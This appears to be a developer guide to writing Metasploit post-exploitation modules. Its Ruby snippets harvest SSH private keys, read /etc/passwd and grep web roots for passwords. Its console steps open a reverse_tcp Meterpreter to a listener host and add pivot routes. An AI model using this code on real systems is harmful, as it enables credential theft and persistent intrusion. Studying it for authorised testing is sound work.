Skip to content

Post modules run through an existing session. They require SESSION and enumerate, administer, or collect data on the target instead of delivering a new payload. References are packages/metasploit-framework/modules/post/ and the bundled wiki How-to-get-started-with-writing-a-post-module.md.

The shared process is in Common Steps. Session APIs are covered in Post Mixins.

ConditionType
No session yetexploit / auxiliary / handler
Run commands or access files or the registry through a sessionpost
Upgrade a shell to Meterpreterpost (for example, shell_to_meterpreter)
Return a new session through local privilege escalationexploit (exploit/*/local/)
DirectoryPurpose
gather/Configuration, credentials, enumeration
gather/credentials/Credential-focused collection
manage/Session management, configuration changes, injection
recon/Reconnaissance (situational awareness rather than theft)
capture/Continuous capture such as keylogging
wlan/WLAN
Reference moduleWhat it teaches
post/multi/general/executeMinimal cmd_exec example
post/linux/gather/enum_configsread_file → store_loot for multiple files
post/linux/gather/enum_systemHow to collect Linux system information
post/linux/gather/enum_networkNetwork information
post/windows/gather/enum_logged_on_usersWindows mixins (Accounts / Registry / Profiles)
post/windows/gather/checkvmShort Windows gather example
post/windows/gather/enum_applicationsSoftware enumeration
post/multi/manage/shell_to_meterpreterStandard session management and upgrade
post/multi/manage/autorouteAdd routes for pivoting
post/windows/manage/migrateMigrate a Meterpreter process
post/windows/wlan/wlan_profileConcrete loot example
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => %w[linux osx unix win]

Within the module, session (also called client) is the target.

print_status(session.inspect)
print_status(session.platform)
print_status(session.type)

Gather and manage modules have different structures depending on how they read data (read_file / cmd_exec / registry) and save results.

1a. Run one command directly (post/multi/general/execute)

Section titled “1a. Run one command directly (post/multi/general/execute)”
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Session Command Execution',
'License' => MSF_LICENSE,
'Author' => ['hdm'],
'Platform' => %w[linux osx unix win],
'SessionTypes' => ['shell', 'meterpreter']
)
)
register_options([OptString.new('COMMAND', [false, 'Command line'])])
end
def run
print_status("Response:\n#{cmd_exec(datastore['COMMAND'])}")
end
end

1b. Run with a failure-detection token (enum_network family)

Section titled “1b. Run with a failure-detection token (enum_network family)”

This pattern avoids mistaking a failed command for an empty successful result.

def execute(cmd)
token = Rex::Text.rand_text_alpha(8)
output = cmd_exec("#{cmd} || echo #{token}")
return nil if output.to_s.include?(token)
output
end
def run
out = execute('/sbin/ifconfig -a')
store_loot('linux.enum.network', 'text/plain', session, out, nil, 'ifconfig') if out
end

1c. Separate arguments with create_process

Section titled “1c. Separate arguments with create_process”
def run
out = create_process('grep', args: ['-r', 'password', '/var/www'], time_out: 30)
print_line(out.to_s)
end
def run
case session.platform
when 'windows'
print_status(cmd_exec('whoami /all'))
else
print_status(cmd_exec('id; uname -a'))
end
end

2a. Read a fixed list of paths with read_file (enum_configs)

Section titled “2a. Read a fixed list of paths with read_file (enum_configs)”
include Msf::Post::File
def run
[
'/etc/passwd',
'/etc/hosts',
'/etc/samba/smb.conf'
].each do |f|
data = read_file(f).to_s
next if data.strip.empty? || data =~ /No such file/
loot = store_loot('linux.enum.conf', 'text/plain', session, data, File.basename(f))
print_good("#{f} -> #{loot}")
end
end

2b. Find candidates before reading (similar to the SSH key search in enum_network)

Section titled “2b. Find candidates before reading (similar to the SSH key search in enum_network)”
def run
dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh 2>/dev/null').to_s.split("\n")
dirs.each do |dir|
%w[id_rsa id_ed25519].each do |key|
path = "#{dir}/#{key}"
next unless exist?(path) && readable?(path)
data = read_file(path)
store_loot('ssh.key', 'text/plain', session, data, key, path)
end
end
end

2c. Write and place an executable (closer to manage)

Section titled “2c. Write and place an executable (closer to manage)”
include Msf::Post::File
include Msf::Exploit::FileDropper
def run
remote = '/tmp/' + Rex::Text.rand_text_alpha(8)
upload_and_chmodx(remote, File.binread(datastore['LOCAL_FILE']))
register_file_for_cleanup(remote)
print_status(cmd_exec(remote))
end

3a. Enumerate profiles (enum_logged_on_users family)

Section titled “3a. Enumerate profiles (enum_logged_on_users family)”
include Msf::Post::Windows::Registry
include Msf::Post::Windows::UserProfiles
def run
read_profile_list(user_accounts_only: false).each do |profile|
print_status("#{profile['SID']} #{profile['PROF']}")
end
end

3b. Read registry values directly (checkvm family)

Section titled “3b. Read registry values directly (checkvm family)”
include Msf::Post::Windows::Registry
include Msf::Post::Process
def run
services = registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') || []
procs = get_processes || []
if services.any? { |s| s =~ /VBox|vmci|vmhgfs/i } || procs.any? { |p| p['name'] =~ /vmtoolsd/i }
print_good('Looks like a VM')
report_virtualization('VMware') # Or custom detection
else
print_status('Appears physical')
end
end
def run
val = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName')
print_good("ProductName=#{val}") if val
report_note(host: session.session_host, type: 'windows.product', data: { name: val }, update: :unique_data)
end

The existing post/multi/manage/shell_to_meterpreter is usually preferable to writing your own. If you do write one, the basic structure is to run a reverse payload from the existing SESSION and start a handler.

def run
# Check LHOST/LPORT/HANDLER and run an upgrade command in the session
# On success, the new Meterpreter appears in sessions -l
end
def run
# Add a route for the subnet through the session to the framework
print_status("Adding route via session #{datastore['SESSION']}")
# See the implementation of post/multi/manage/autoroute
end

4c. Lightweight recon of environment variables and hostname

Section titled “4c. Lightweight recon of environment variables and hostname”
def run
print_status("host=#{session.session_host} platform=#{session.platform}")
print_status(cmd_exec('hostname'))
print_status(get_env('PATH').to_s)
end
def run
print_line(cmd_exec('ps aux'))
end
def run
data = cmd_exec('ps aux')
store_loot('linux.ps', 'text/plain', session, data, 'ps.txt', 'process list')
end

5c. Arrange in a table before saving as loot

Section titled “5c. Arrange in a table before saving as loot”
def run
tbl = Rex::Text::Table.new('Header' => 'Users', 'Columns' => %w[name uid])
get_users.each { |u| tbl << [u['name'], u['uid']] }
print_line(tbl.to_s)
store_loot('linux.users', 'text/plain', session, tbl.to_s)
end
sessions -l
use post/multi/general/execute
set SESSION 1
set COMMAND id
run

For a Windows session:

set COMMAND whoami /all
run
use post/linux/gather/enum_configs
set SESSION 1
run
loot
use post/linux/gather/enum_system
set SESSION 1
run
use post/windows/gather/enum_logged_on_users
set SESSION 1
set CURRENT true
set RECENT true
run
sessions -l
sessions -u 1
sessions -l

To specify options explicitly:

use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 10.10.16.10
set LPORT 5555
set HANDLER true
run

If the OS is misidentified:

set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE linux
run
use post/multi/manage/autoroute
set SESSION 3
set SUBNET 172.16.1.0
set NETMASK 255.255.255.0
run
route print
~/.msf4/modules/post/linux/gather/my_passwd.rb
reload_lib -a
use post/linux/gather/my_passwd
set SESSION 1
run
TypeInclude exampleEntry point
General commandPost / Commonrun + cmd_exec
File collectionFile (+ Unix) + Reportread_file → store_loot
Windows informationWindows::*Registry / Accounts, etc.
Session managementExisting manage moduleshell_to_meterpreter, etc.

Distinction from local privilege escalation

Section titled “Distinction from local privilege escalation”
  • Use post to collect information with the privileges of the current session.
  • Use Exploit (Msf::Exploit::Local) when you use the current session as a foothold to open a separate payload session.
  1. Choose a Module Type and Location → post/<platform>/<category>/...
  2. Base Classes and Mixins
  3. update_info → specify SessionTypes accurately
  4. register_options → do not register SESSION again
  5. Entry Methods → usually run
  6. Saving Results
  7. Cleanup
  • Avoid putting “collect everything” in a single module.
  • Available APIs differ between shell and meterpreter. Railgun and similar APIs require Meterpreter.
  • Put destructive operations under manage and explain their effects thoroughly.
  • Save collected data with store_loot or according to the ~/lab policy.